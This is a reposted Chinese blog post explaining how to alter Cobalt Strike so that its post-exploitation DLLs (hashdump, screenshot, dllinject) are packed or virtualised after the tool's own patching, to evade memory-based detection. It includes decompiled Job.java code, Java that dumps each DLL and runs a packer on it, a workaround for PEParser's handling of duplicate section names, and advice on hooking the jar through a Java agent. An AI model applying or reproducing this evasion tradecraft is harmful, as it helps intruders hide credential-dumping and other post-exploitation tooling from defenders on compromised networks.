CobaltStrike Runtime Dll Double Patch
2022-1-26 13:16:57 Author: mp.weixin.qq.com(查看原文) 阅读量:2 收藏

夕阳西下-该回家啦

大多数情况我们都关注着beacon的上线,本文讲的是在POST-EX阶段,在不重写beacon或功能模块的情况下,对自带的功能模块实现一些内存IOC规避

CS经过不断的更新迭代,逐步把功能模块的实现从RDI切换成BOF的形式,这样带来了很多OPSEC方面的提升和减少了载荷的大小,但你仍然可以看到还存在少数通过RDI实现的功能模块。

当你使用诸如hashdump之类的功能时,在CS资源中的这个dll就会被Decrypt然后经过一系列Patch,再经过一系列封装(参数、功能描述、功能号等等)传输给Beacon再通过RDI自加载。

在这个过程中你可以使用Mallable Profile 自定义一些Patch的内容,包括pipenameobfuscatesmartinjectamsi_disablethread_hint等等

我们的思路是可以在dll patch 之后,再次使用一些工具来packer dll。达到一些内存特征的规避效果,这就看大家发挥了,简单点你可以使用一些壳来帮助你提高一些规避的效果,但是相应的opcode 依然还是之前的那些,所以你还可以使用代码虚拟化的方式将重点函数虚拟化或者混淆。

思路和方法本身没什么实际难度,但选择packer的方法、工具和遇到的问题可能并不一样(不同的packer可能会导致不同的问题,也并不一定都能正常被加载,这是这个方法需要解决的重点问题),这里仅记录我使用的这种packer遇到的问题。

CS inject & spawn

在源码beacon/Job.java中

我们用spawn的代码举例,可以看到在得到解密后的DLLContent后会有一系列的patch来帮助dll在后期正确的被加载。

public void spawn(String string, String string2) {        this.arch = string2;        byte[] byArray = this.getDLLContent();        if (string2.equals("x64")) {            byArray = ReflectiveDLL.patchDOSHeaderX64(byArray, 1453503984);            if (this.ignoreToken()) {                this.builder.setCommand(44);            } else {                this.builder.setCommand(90);            }        } else {            byArray = ReflectiveDLL.patchDOSHeader(byArray, 1453503984);            if (this.ignoreToken()) {                this.builder.setCommand(1);            } else {                this.builder.setCommand(89);            }        }        String string3 = "\\\\.\\pipe\\" + this.tasker.getPostExPipeName(this.getPipeName());        byArray = CommonUtils.patch(byArray, "\\\\.\\pipe\\" + this.getPipeName(), string3);        byArray = this.fix(byArray);        byArray = this.tasker.getThreadFix().apply(byArray);        if (this.tasker.obfuscatePostEx()) {            byArray = this._obfuscate(byArray);        }        byArray = this.setupSmartInject(byArray);        this.builder.addString(CommonUtils.bString(byArray));        byte[] byArray2 = this.builder.build();        this.builder.setCommand(this.getJobType());        this.builder.addInteger(0);        this.builder.addShort(this.getCallbackType());        this.builder.addShort(this.getWaitTime());        this.builder.addLengthAndString(string3);        this.builder.addLengthAndString(this.getShortDescription());        byte[] byArray3 = this.builder.build();        this.tasker.task(string, byArray2, byArray3, this.getDescription(), this.getTactics("T1093"));    }
byte[] byArray = this.getDLLContent();

进入getDLLContent 函数可以看到是有解密操作的。

加密的dll默认是长这个样子的。

我们可以看到代码在 setupSmartInject 之后开始做一些封装的处理。

所以我们可以在这个代码段中间做一些有趣的事情。

byArray = this.setupSmartInject(byArray);
/* Do something interesting for byArray*/
this.builder.addString(CommonUtils.bString(byArray));

Dump the byArray to File

直接把DLL dump下来,进行后续的操作。

byArray = this.setupSmartInject(byArray);
File savebyArrayFileName = new File(this.getDLLName());FileOutputStream FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);FsavebyArrayFile.write(byArray);FsavebyArrayFile.close();
this.builder.addString(CommonUtils.bString(byArray));

但是在我拿到patch完之后dll做完相应的代码混淆后,替换原本的byArray加载时出现了crash。

如果直接附加调试,这样或许可以找到问题但着实麻烦。

DLLinject

所以我关注到了dllinject 这个功能,该功能一样可以使用上述思路来patch,并且还可以找到问题所在。

首先相同的方法进行加壳或者代码虚拟化,看看能否成功,发现出现了一下错误。

动态调试发现dll 在被CS patch 之前会寻找一个硬编码为 ReflectiveLoader 的导出函数

看起来是导出函数的问题,经过CFF 查看之后发现又没啥问题,可以看到导出函数正常,所以猜测可能是偏移计算出现了问题。

尝试 peclone 进行解析查看,由于受到压缩加密的影响,peclone 已经出现了一些解析异常。我们可以花时间去解决 PEParser 的问题,但也可以偷懒换些工具试试看。

经过调试后发现packer之后的dll Export.FunctionAddressesFixed 是一个错误的值(也是n2对应的值),而 Export.FunctionAddressesFixed这里计算的是一个 FOA(ReflectiveLoader在文件中的偏移位置)。

该dll正常情况下是这样的

我们可以清楚看到,n2 即是FunctionAddressesFixed 的值,只要≤0 就会报错。也就是无法在文件中找到 ReflectiveLoader导出函数的偏移。

往里面跟一下,的确也是FOA的计算公式。

关于RVA to FOA 的计算公式。

FOA = RVA-VOffset+ROffset

得到 VOffset 和 ROffset ,RVA的地址

一开始我以为只需要手动修复一下这个值就行,但后续调试过程中我跟了一下,到底是为什么导致FOA计算错误。

发现在packer之后发现出现了重名的 .text 段,这也是导出偏移计算出错的直接原因,在CS PEParser解析的时候,存储相关数据用的是HashMap 以Key&Value的方式存储,导致无法出现重名的Key,第二个.text 数据会将之前的数据覆盖掉,导致FunctionAddressesFixed计算出错。

我的解决方案也很粗暴,直接在解析的时候将重复的段进行重命名,这样PEParser在计算的时候也不会受影响,并且DLL也并没有受到影响。

这样就没啥问题了

还需要注意的是CS默认情况依然是不能加载超过1m的载荷(上一篇文章中有说Bypass Cobaltstrike 1m有相关信息可以看看),所以经过packer之后的dll请保证你的大小可以被正常传递。

Back to build-in module

回到之前的hashdump,也是经过一系列调试发现,经过比较暴力的packer之后导致 peclone 都没办法解析了,我重新调整了一些参数来设置保护措施,最后可以直接在packer之后在beacon中加载,所以上述说到的dllinject 的问题其实和hashdump 是没有关系的,问题还是在packer的时候尽量保证dll不能面目全非,在你实现整个自动化 过程中也是需要注意的。

做到这一步基本上就可以做自动化了,你需要具备的条件是你的packer工具需要支持命令行,否则很难实现。

第一个screenshot 是原始的 screenshot,大小在199k左右,第二个是经过packer之后的 大小在960k左右。

自动化实现:

在每次运行命令的时候,首先经过CS patch 再经过一层packer达到的效果。这里只演示了内置功能,当你在dllinject的时候 都可以使用这个方法进行自动化。

实现代码:

try {    File savebyArrayFileName = new File("/tmp/"+this.getDLLName());    FileOutputStream FsavebyArrayFile = null;    FsavebyArrayFile = new FileOutputStream(savebyArrayFileName);    FsavebyArrayFile.write(byArray);    FsavebyArrayFile.close();
//Do something for your dll List<String> commandList = new ArrayList<>(); commandList.add("your packer command tools"); commandList.add(savebyArrayFileName.toString()); ProcessBuilder pb = new ProcessBuilder(commandList); Process process = pb.start();
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8))){ while (process.isAlive()) { while (bufferedReader.ready()) { String s = bufferedReader.readLine(); System.out.println(s); } } } int status = process.waitFor();
//Read the file after the pack File PatchSavebyArrayFileName = new File("/tmp/resources/"+savebyArrayFileName.getName().replace(".dll",".pack.dll")); byArray = getFileByteContent(PatchSavebyArrayFileName);
} catch (Exception e) { e.printStackTrace();}

packer不支持命令行怎么办?

在写死profile中的 post-ex 变量后,你可以一直使用这个被patch之后的dll再做packer,所以如果你的profile之后是固定了,那么你可以通过本地资源替换的方法直接加载。其中invokeassembly.x64/32.dll 就是一个典型的case。

不修改 CobaltStrike.jar

现在主流的CS crack 也不再是反编译修改源码了,而是更简单的Hook patch。这个使用java agent hook即可,推荐使用 CSAgent 进行二开,感谢开源。

需要简修改的几个点:

  • Job/JobSimple/PEParser/TaskBeacon 这几个类的几个方法

    • spwan/inject

    • spwan

    • parseSection

    • Dllinject ....

这样直接动态修改 class 中的method代码达到这个case的二开效果。

实际效果

请注意

  • 关于本思路并不能帮助你解决行为上的查杀,该方法只是在内存上做一定规避,该有的行为还是有。

  • 配合4.5 的自定义注入相信会有更好的效果。

以dllinject为例(hashdump等模块都是一个道理)使用后,还是可以看到你的dll还是比较清晰的裸露在内存中的。

注意:对于dllinject每次你使用完该模块后,这个内存区域并不会被free

经过pakcer之后的,内存里面的绝大部分可读信息或特征已经被混淆了。


文章来源: https://mp.weixin.qq.com/s?__biz=MzkyMjMxOTI2MA==&mid=2247483713&idx=1&sn=44d809fd3d861e0ce6389d34090a003b&chksm=c1f761b2f680e8a42c1626e94ff2c83acae1001143301facea267762ea64e3bf101c1477db73&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh